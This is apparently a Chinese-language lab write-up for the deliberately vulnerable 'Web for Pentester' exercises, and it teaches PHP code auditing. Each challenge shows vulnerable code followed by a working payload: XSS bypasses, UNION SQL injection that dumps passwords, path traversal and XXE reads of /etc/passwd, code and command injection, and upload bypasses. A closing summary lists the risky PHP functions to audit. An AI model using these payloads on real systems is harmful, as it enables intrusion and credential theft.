从web-for-pentest看php代码审计

第一章 练习关卡

0x01 xss

example1

1
2
3
<?php 
echo $_GET["name"];
?>

从代码来看很很简单,通过get方式从name参数中获取url传递的数值,并且直接回显至页面,因此构造poc。

http://172.16.244.130/xss/example1.php?name=%3Cscript%3Ealert(1)%3C/script%3E

1

example2

1
2
3
4
5
6
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>

这里代码做了点过滤,preg_replace() 正则替换,比如通过name传入的参数,会将<script></script>替换为空,但是这里的替换对大小写敏感,所以两种渠道,一种大写绕过,一种直接在<script>标签中再加入一个标签让他替换为空,这样就oj8k了。

1
2
http://172.16.244.130/xss/example2.php?name=<scr<script>ipt>alert(1)</scri</script>pt>
http://172.16.244.130/xss/example2.php?name=<sCript>alert(1)</scrIpt>

2

example3

1
2
3
4
5
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name

example3和example2的区别就是多了这个i,这个东西在正则表达式中表示执行大小写不敏感的匹配,所以这里也有两种办法,一,双写<script>标签绕过,二,使用其他标签绕过。

1
2
http://172.16.244.130/xss/example3.php?name=<scr<script>ipt>alert(1)</sc</script>ript>
http://172.16.244.130/xss/example3.php?name=<img src=x onerror=alert(1)>

3

example4

1
2
3
4
5
6
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>

Hello <?php echo $_GET["name"]; ?>

这里的代码之前上面的都有点不一样,这里通过大小写不敏感来检测name中是否传入了script,如果有直接结束,但是xss并不是只有<script>xx</script>才能执行,所以换个其他标签就能绕过了。

1
http://172.16.244.130/xss/example4.php?name=<img src=x onerror=alert(1)>

4

example5

1
2
3
4
5
6
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>

Hello <?php echo $_GET["name"]; ?>

例子5其实和4有点像,通过正则表达式大小写不敏感来检测通过name传入的数据中是否带有alert,如果有就退出。但是有一点啊,xss不是只弹个窗,弹个窗只是证明,能够执行js啊!!!我还是用其他方式弹个窗证明存在吧,confirmprompt也能弹窗,了解一下?

1
http://172.16.244.130/xss/example5.php?name=<script>confirm(1)</script>

5

example6

1
2
3
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>

这题和之前的都有点不同,他的输出值在<script>标签中,那其实很简单啊,要么闭合前面的<script>然后重新插入,要么直接插入,payload如下:

1
2
http://172.16.244.130/xss/example6.php?name=hacker</script><img src=x onerror=alert(1)>
http://172.16.244.130/xss/example6.php?name=hacker";alert(1);//

6

example7

1
2
3
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>

例子7和例子6不一样的地方在于,加入了htmlentities()函数,它会将html标签的<>"实体化掉。因此无法通过闭合<script>标签的方式来解决,所以payload如下:

1
http://172.16.244.130/xss/example7.php?name=hacker';alert(1);//

7

example8

1
2
3
4
5
6
7
  if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

简单看看代码,name中的数据通过post方式提交到服务器,然后经过html实体化输出,所以这里不存在xss漏洞,然后在form表单中,有个<?php echo $_SERVER['PHP_SELF']; ?>。简单说一下$_SERVER['PHP_SELF']这个东西是干嘛用的,当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://xxx.com/foo/bar.php 的脚本中使用 $_SERVER['PHP_SELF'] 将得到 /foo/bar.php。所以到这里应该知道如何构造poyload了吧:

1
http://192.168.248.130/xss/example8.php/"><script>alert(1)</script>

8

example9

1
2
3
<script>
document.write(location.hash.substring(1));
</script>

这题代码一看就知道是dom-xss了。所谓的dom-xss其实是浏览器本地dom树直接解析了,不会像服务器发起数据包请求。而location是javascript里边管理地址栏的内置对象,location对象:设置或获取当前URL的信息。使用location对象可以设置或返回URL中的一些信息,一个完整的URL地址的格式为:协议://主机:端口/路径名称?搜索条件#hash标识。构造payload:

1
http://192.168.248.130/xss/example9.php#<script>alert(1)</script>

这里一直被firefox坑,动不动url编码,气哭我

9

最后换个浏览器解决,辣鸡火狐。

10

0x02 SQL注入

example1

1
2
3
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);

这里就两行代码,这里的$sql变量直接拼接sql语句,以及通过get方式传递进来的数据,因此存在sql注入攻击。

1
2
3
4
5
6
7
name=root' order by 6%23        //第6列报错,所以应该是5列
name=root' union select SCHEMA_NAME,2,3,4,5 from information_schema.SCHEMATA%23 //所有数据库名字
name=root' union select 1,2,database(),4,5%23 //当前数据库名为exercises
name=root' union select table_name,2,3,4,5 from information_schema.tables%23 //猜解全部表名
name=root' union select table_name,2,3,4,5 from information_schema.tables where table_schema= database()%23 //当前数据库中的表名为users
name=root' union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where table_name = 'users'%23 //猜解列名
name=root' union select name,passwd,3,4,5 from exercises.users%23 //获取列中的值

11

example2

1
2
3
4
5
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";

这段代码和上面的代码不同之处就是过滤了空格,但是据我所知,mysql下绕过空格有这几种方法:
1、水平制表(HT) url编码:%09
2、注释绕过空格 /注释/
常用的注释符://, ,/**/,#,—+, — -,;,%00,—a
这里我们用/**/%09来绕过空格

1
2
?name=root'/**/union/**/select/**/name,passwd,3,4,5/**/from/**/exercises.users%23 
?name=root'%09union%09select%09name,passwd,3,4,5%09from%09exercises.users%23

12

example3

1
2
3
4
5
if (preg_match('/\s+/', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";

这段代码和上面不同的一点在于,正则表达式里面的内容变成了\s。正则表达式中\s匹配任何空白字符,包括空格、制表符、换页符等等, 等价于[ \f\n\r\t\v]

  • \f -> 匹配一个换页
  • \n -> 匹配一个换行符
  • \r -> 匹配一个回车符
  • \t -> 匹配一个制表符
  • \v -> 匹配一个垂直制表符

而“\s+”则表示匹配任意多个上面的字符。因此这里通过水平制表符绕过空格的方法已经不行了,但是,还是可以通过注释来绕过空格。

1
?name=root'/**/union/**/select/**/name,passwd,3,4,5/**/from/**/exercises.users%23

13

example4

1
2
3
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result = mysql_query($sql);

这段代码和上面的就不一样,这里也是有注入,我们看个函数mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。
这些字符受影响:\x00\n\r\'"\x1a
从数据库中看到,这里的id是数字型,所以这里存在数字型注入。14

当我执行查询的时候,mysql其实会做强制的类型转换,举个例子。

1
2
select * from users where id = '1abcd';
select * from users where id = 'abdc';

15

这里可以看到id='1abcd'强制转换成为1,并抛出告警,id=abcd强制转换成为0,因为查询不到id=0,所以没有数据返回,并且报错。
简单普及一下基础前提知识,就可以开干了

1
2
3
4
5
6
7
id=-2 order by 5%23                                               //5列
id=-2 union select SCHEMA_NAME,2,3,4,5 from information_schema.SCHEMATA%23 //所有数据库名字
id=-2 union select 1,2,database(),4,5%23 //当前数据库名为exercises
id=-2 union select table_name,2,3,4,5 from information_schema.tables%23 //猜解全部表名
id=-2 union select table_name,2,3,4,5 from information_schema.tables where table_schema= database()%23 //当前数据库中的表名为users
id=-2 union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where table_name = 0x7573657273%23 //猜解列名
id=-2 union select name,passwd,3,4,5 from exercises.users%23 //获取列中的值

16

example5

1
2
3
4
5
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

这里的正则表达式要求通过id传入的数字必须为0-9。所以这题payload如下:

1
id=1 union select name,passwd,3,4,5 from exercises.users%23   //获取列中的值

17

example6

1
2
3
4
5
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

这里的正则要求传入的参数id是以一个数字结尾,所以啊,payload:

1
?id=1 union select name,passwd,3,4,5 from exercises.users%23 1

18

example7

1
2
3
4
5
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

解释下这里正则的意思m是修饰符,默认的正则开始”^“和结束”$“只是对于正则字符串如果在修饰符中加上”m“, 那么开始和结束将会指字符串的每一行:每一行的开头就是”^“,结尾就是”$“。 -?表示可以没有或只有一个“-”号,在这里独立出来的话,没有意义,仅是字符而已。正则表达式表示开始和结束的字符串是一个数字,还分别匹配其中的换行符的之后和之前,所以我们可以在原语句中加入换行符所以我们可以绕过它采用换行符绕过,换行符\n的十六进制,就是%a0,在mysql中可以正常执行。

1
id=2%0aunion%0aselect%0a1,name,passwd,4,5%0afrom%0ausers%23

19

0x03 Directory traversal

example1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
die();


$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);

简单看看代码,$UploadDir定义了文件路径,然后通过get方式传入数据,并且与$path进行拼接,然后再由fopen打开文件,fread读取文件。

所以构造payload:

1
?file=../../../../../etc/passwd

20

example2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
die();

if (!is_file($file))
die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($file) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($file));

$handle = fopen($file, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);

代码解析下这里有个strstr($file,"/var/www/files/")会判断file传入的数据中是否带有/var/www/files/,如果没有就会结束,所以啊,这里构造payload如下:

21

example3

1
2
3
4
5
$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

这段代码还是有趣,会将file传入的数据与$uploaddir以及png拼接后传递给$path,但是$path会进行正则操作,将%00.之后的数据替换为空,所以构造payload如下:

22

0x04 File Include

example1

1
2
3
4
if ($_GET["page"]) {
include($_GET["page"]);

}

这个代码很简单理解,通过page参数传入数据,并且使用include()函数将其包含进来,我们在intro.php中写入

1
<?php phpinfo(); ?>

23

example2

1
2
3
4
5
6
7
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);

}

这里通过page传入数据,然后与.php拼接后传递给$file,这里的$file经过正则处理,将%00.*替换成空。所以payload如下:

1
2
http://192.168.248.130/fileincl/example2.php?page=intro
http://192.168.248.130/fileincl/example2.php?page=intro.php%00

24

0x05 Code injection

example1

1
2
3
4
5
<?php 
$str="echo \"Hello ".$_GET['name']."!!!\";";

eval($str);
?>

这里通过name参数传入数据,使用了反斜杠\将echo后面的内容给转义了。这样做与加addslashes()函数进行过滤的意思是一样的。addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL

提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

举个例子:

1
2
3
4
5
6
<?php
$a = 'hello';
$$a = 'world';
echo "$a ${$a}";
echo "$a $hello";
?>

这两个结果输出都是输出helloworld。

1
http://192.168.248.130/codeexec/example1.php?name=${${phpinfo()}}

24

example2

1
2
3
if (isset($order)) { 
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}

问题函数在这里,create_function可以执行代码,举个例子。

1. 知识介绍

php函数 create_function():

1
2
3
string create_function (string $args, string $code)
string $args 变量部分
string $code 方法代码部分

举例:

1
create_function('$fname','echo $fname."Zhang"')

类似于:

1
2
3
function fT($fname) {
echo $fname."Zhang";
}

举一个官方提供的例子:

1
2
3
4
5
6
7
8
9
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

2. 如何利用create_function()代码注入

有问题的代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

实现的原理类似于:

1
2
3
4
5
6
7
8
9
10
源代码:
function fT($a) {
echo "test".$a;
}

注入后代码:
function fT($a) {
echo "test";}
phpinfo();/*;//此处为注入代码。
}

所以最后的payload如下:

r
1
http://192.168.248.130/codeexec/example2.php?order=id);}phpinfo();//

example3

1
2
3
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

在php正则下/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码。因此当满足了在语句的构造中有/e修正符,就有可能引起php代码注入的风险。可以如此构造new=phpinfo()&pattern=/lamer/e&base=Hello lamer所以构造如下:

26

example4

1
2
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);

我懒,不想讲如何构造,给个图,明白了吧。

27

28

0x06 Commands injection

windows支持:

  • | ping 127.0.0.1|whoami
  • || ping 2 || whoami (哪条名令为真执行那条)
  • & && ping 127.0.0.1&&whoami

Linux支持:

  • ; 127.0.0.1;whoami
  • | 127.0.0.1|whoami
  • || 1||whoami (哪条名令为真执行那条)
  • && 127.0.0.1&&whoami

example1

1
2
3
<?php
system("ping -c 2 ".$_GET['ip']);
?>

这个代码很简单,就是通过ip传入参数,然后使用system命令执行,所以payload如下:

1
http://192.168.248.130/commandexec/example1.php?ip=127.0.0.1;id

29

example2

1
2
3
4
5
6
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>

这个正则表达式的意思是匹配数字,并且从头检查到尾巴,然后/m每行检查。然后很简单换行符号变成%0a就可以绕过了。payload:?ip=127.0.0.1%0aid

30

example3

1
2
3
4
5
6
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>

代码还是一样,但是这里如果ip不合法,直接重定向了,但还是执行了,可以使用curl

31

0x07 File Upload

example1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_FILES['image']))
{
$dir = '/var/www/upload/images/';
$file = basename($_FILES['image']['name']);
if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
{
echo "Upload done";
echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
}
else
{
echo 'Upload failed';
}
}
?>

这段代码很简单直接上传图片,没有任何过滤,并且将图片的位置名字直接输出。

32

33

example2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_FILES['image']))
{
$dir = '/var/www/upload/images/';
$file = basename($_FILES['image']['name']);
if (preg_match('/\.php$/',$file)) {
DIE("NO PHP");
}
if(move_uploaded_file($_FILES['image']['tmp_name'], $dir . $file))
{
echo 'Upload done !';
echo 'Your file can be found <a href="/upload/images/'.htmlentities($file).'">here</a>';
}
else
{
echo 'Upload failed';
}
}
?>

这段代码多了一个正则表达式,匹配文件后缀名是不是.php,但是大小写不敏感。

34

35

0x08 XML attacks

example1

1
2
3
4
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>

代码很简单,get方式通过xml参数传入数据,然后由simplexml_load_string()解析执行。

1
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>

第二章 总结

上面是针对web_for_pentester漏洞的代码展现,以及一些我的理解。然后现在针对php下一些通用型漏洞的代码审计敏感函数做个总结。

0x01 注入

sql注入的原因前面也讲过了,当时归根到底,其实是因为sql语句拼接导致的。

1. 普通注入

常见的sql注入有int型和字符型,在字符型注入中需要使用单或双引号闭合,代码审计的时候关注函数例如select formmysql_connectmysql_querymysql_fetch_row等,以及一些数据的执行操作,例如updateinsertdelete

2. 宽字节注入

宽字节注入的原因主要是因为当设置set character_set_client=gbk时候会导致一个编码转换的注入的问题。设置完这个之后,服务器接受请求,例如接收到/test.php?id=-1%df' and 1=1%23,mysql对应的运行语句为:

1
select * from user where id ='1運' and 1=1#'

这里是由于单引号被自动转义成\,然后前面的%df和转义符号\(%5c)组成了%df%5c,也就是字,所以成功闭合了。但是一般的设置办法是SET NAMES 'gbk',但是其实这个东西等同于如下的sql语句:

1
2
3
4
SET
character_set_connection='gbk',
character_set_result='gbk',
character_set_client=gbk

这同样存在宽字节注入的问题,另外官方推荐使用mysql_set_charset方式来设置编码,但是这个方式也是调用SET NAMES

3. 二次注入

PHP的web程序大多数情况下会对参数进行过滤,通常使用addslashes()mysql_real_escape_string()mysql_escape_string()函数或者开启GPC的方法来放注入,也就是给'"\NULL加上反斜杠转义。所以如果某处使用了urldecode或者rawurldecode函数,则会导致二次解码,绕过过滤以及GPC。

0x02 XSS

挖掘XSS漏洞的关键在于寻找没有被过滤的参数,且这些参数传入到输出函数,常用的输出函数列表如下:print、print_r、echo、printf、sprintf、die、var_dump、var_export。所以找寻这些输出函数,并且查看是否有做XSS过滤。

0x03 文件包含

PHP可能出现文件包含的函数:include、include_once、require、require_once、show_source、highlight_file、readfile、file_get_contents、fopen。关注点是否可以输入变量,且变量可控。

0x04 命令注入

PHP执行系统命令可以使用以下几个函数:system、exec、passthru、“、shell_exec、popen、proc_open、pcntl_exec
我们通过在全部程序文件中搜索这些函数,确定函数的参数是否会因为外部提交而改变,检查这些参数是否有经过安全处理。

0x05 代码注入

PHP可能出现代码注入的函数:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function
查找程序中程序中使用这些函数的地方,检查提交变量是否用户可控,有无做输入验证

0x06 文件管理类(任意文件写入、删除等)

PHP的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可能成为高危漏洞。我们应该在程序中搜索如下函数:copy、rmdir、unlink、delete、fwrite、chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents、fread、readfile、ftruncate、file_put_contents、fputcsv、fputs,但通常PHP中每一个文件操作函数都可能是危险的。

0x07 文件上传

PHP文件上传通常会使用move_uploaded_file,也可以找到文件上传的程序进行具体分析,查看是怎么样过滤的,例如:白名单、黑名单、软waf等。

0x08 XML注入

PHP下dom.phpSimpleXMLElement.phpsimplexml_load_string.php均可触发XXE漏洞。可以关注下是否禁用了外部实体注入。

0x09 SSRF

PHP下cURLfile_get_contentsget_headersfsockopen均可能导致ssrf漏洞,审计的时候关注是否存在内网ip以及一些协议的过滤。